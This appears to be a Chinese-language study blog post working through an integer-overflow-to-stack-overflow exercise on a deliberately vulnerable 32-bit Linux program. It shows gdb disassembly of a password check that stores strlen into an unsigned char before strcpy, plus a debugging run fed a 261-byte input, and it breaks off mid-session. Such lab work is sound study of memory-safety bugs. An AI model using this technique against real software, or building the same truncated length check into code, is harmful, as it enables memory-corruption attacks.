整数溢出
虚拟机安装:Ubuntu 12.04(x86)
什么是整数溢出?
存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。在这篇文章中,我将仅谈论整数溢出导致堆栈溢出,整数溢出导致堆溢出将在后面的单独的帖子中讨论。
后边的内容复制粘贴好烦,还是说关键点吧!
原文见:https://bbs.pediy.com/thread-216869.htm
这个文章解释的比上一个清楚多了,相信能看懂,唯一不懂的,和上一篇估计一样,还是地址计算的问题
同样是使用gdb 调试:gdb -q vuln
下边解释下我是如何找地址的(虚拟机环境Ubuntu14.04 32位系统,gcc 4.8.2)
首先使用disassemble 查看汇编代码,看看程序的汇编代码布局:
1 (gdb) disassemble validate_passwd 2 Dump of assembler code for function validate_passwd: 3 0x08048507 <+0>: push %ebp 4 0x08048508 <+1>: mov %esp,%ebp 5 0x0804850a <+3>: sub $0x28,%esp 6 0x0804850d <+6>: mov 0x8(%ebp),%eax 7 0x08048510 <+9>: mov %eax,(%esp) 8 0x08048513 <+12>: call 0x80483e0 <strlen@plt> 9 0x08048518 <+17>: mov %al,-0x9(%ebp) 10 0x0804851b <+20>: cmpb $0x3,-0x9(%ebp) 11 0x0804851f <+24>: jbe 0x8048554 <validate_passwd+77> 12 0x08048521 <+26>: cmpb $0x8,-0x9(%ebp) 13 0x08048525 <+30>: ja 0x8048554 <validate_passwd+77> 14 0x08048527 <+32>: movl $0x8048670,(%esp) 15 0x0804852e <+39>: call 0x80483b0 <puts@plt> 16 0x08048533 <+44>: mov 0x804a040,%eax 17 0x08048538 <+49>: mov %eax,(%esp) 18 0x0804853b <+52>: call 0x8048390 <fflush@plt> 19 0x08048540 <+57>: mov 0x8(%ebp),%eax 20 0x08048543 <+60>: mov %eax,0x4(%esp) 21 0x08048547 <+64>: lea -0x14(%ebp),%eax 22 0x0804854a <+67>: mov %eax,(%esp) 23 0x0804854d <+70>: call 0x80483a0 <strcpy@plt>
嗯,发现编译器改动不大,就是将strlen函数直接内嵌了,没有使用函数调用(库函数的惯用做法),不多解释
(gdb) list 看一眼源码,方便下断点
(gdb) b validate_passwd 下断
然后开心的按照作者说的运行
下边是调试步骤
1 Reading symbols from vuln...done. 2 (gdb) b validate_passwd 3 Breakpoint 1 at 0x804850d: file vuln.c, line 14. 4 (gdb) r sploitfun `python -c 'print "A"*261'` 5 Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'` 6 7 Breakpoint 1, validate_passwd ( 8 passwd=0xbffff6b6 'A' <repeats 200 times>...) at vuln.c:14 9 14 unsigned char passwd_len = strlen(passwd); /* [1] */ 10 (gdb) n //单步调试,想看看执行到了我们认为的关键的代码没有,很明显这儿还不是关键代码 11 15 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */ 12 (gdb) n 13 16 printf("Valid Password "); /* [3] */ 14 (gdb) p passwd_len //这儿是关键处了,但是如果是正确的话,passwd_len 应该是'A',很可能是程序还没真正执行到 15 $1 = 5 '